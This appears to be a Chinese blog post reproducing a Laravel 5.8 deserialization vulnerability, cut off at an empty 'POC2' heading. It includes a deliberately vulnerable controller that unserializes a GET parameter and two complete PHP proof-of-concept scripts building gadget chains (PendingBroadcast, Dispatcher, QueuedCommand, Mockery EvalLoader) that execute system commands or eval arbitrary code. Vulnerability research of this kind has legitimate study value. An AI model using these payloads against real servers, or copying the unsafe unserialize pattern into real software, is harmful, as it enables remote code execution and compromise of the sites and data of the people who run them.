laravel5.8 反序列化漏洞复现

环境搭建

composer create-project –prefer-dist laravel/laravel laravel58 php artisan serve

然后在route/web.php下添加一个路由

Route::get("/","\App\Http\Controllers\DemoController@demo");

在app/http/controllers/DemoController创建DemoController.php

<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}
访问/demo
![file](../attachment/uploads/2021/05/image-1622458142768.png)

漏洞分析

POC1

还是destruct PendingBroadcast.php的destruct() file $this->events $this->event都是可控的 全局找dispatch函数 看看有没有可以利用的 file 找到一个Dispatcher类中的dispatch方法 跟进dispatchToQueue()方法 file 发现有call_user_func()然后就想办法利用 想要进入到这个dispatchToQueue()方法要先满足这个if file

$this->queueResolver是可控的然后跟进commandShouldBeQueued方法 file file $command必须是ShowldQueue的对象 可以给ShowldQueue的对象添加一个connection的属性用来控制回调函数的参数 file

选QueuedCommand这个类

file commandShouldBeQueued方法返回true 进入dispatchToQueue file poc

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();

        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="whoami";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";

    }
}
namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

file

调用任意类方法

参数可控并且可以调用任意类 找一下命令执行的 eval file EvalLoader类中的eval 先看一下getCode方法file code是完全可控的 然后再返回看if 只要绕过这个if就可以执行eval $definition是MockDefinition的实例 file file file 也是完全可控的 file config是MockConfiguration实例

poc

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();

        }
    }
}
namespace Illuminate\Foundation\Console{
    use Mockery\Generator\MockDefinition;
    class QueuedCommand
    {
        public $connection;
        public function __construct()
        {
            $this->connection=new MockDefinition();
        }
    }
}

namespace Mockery\Generator{

    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php echo system('whoami'); exit(); ?>";
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration{
        protected $name='rainy';
    }
}

namespace Illuminate\Bus{
    use Mockery\Loader\EvalLoader;
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct()
        {
            $this->queueResolver=[new EvalLoader(),'load'];
        }

    }
}

namespace Mockery\Loader{
    class EvalLoader{

    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

POC2


laravel5.8 反序列化漏洞复现
http://example.com/2021/05/31/OldBlog/laravel5-8-反序列化漏洞复现/
作者
Autumn
发布于
2021年5月31日
许可协议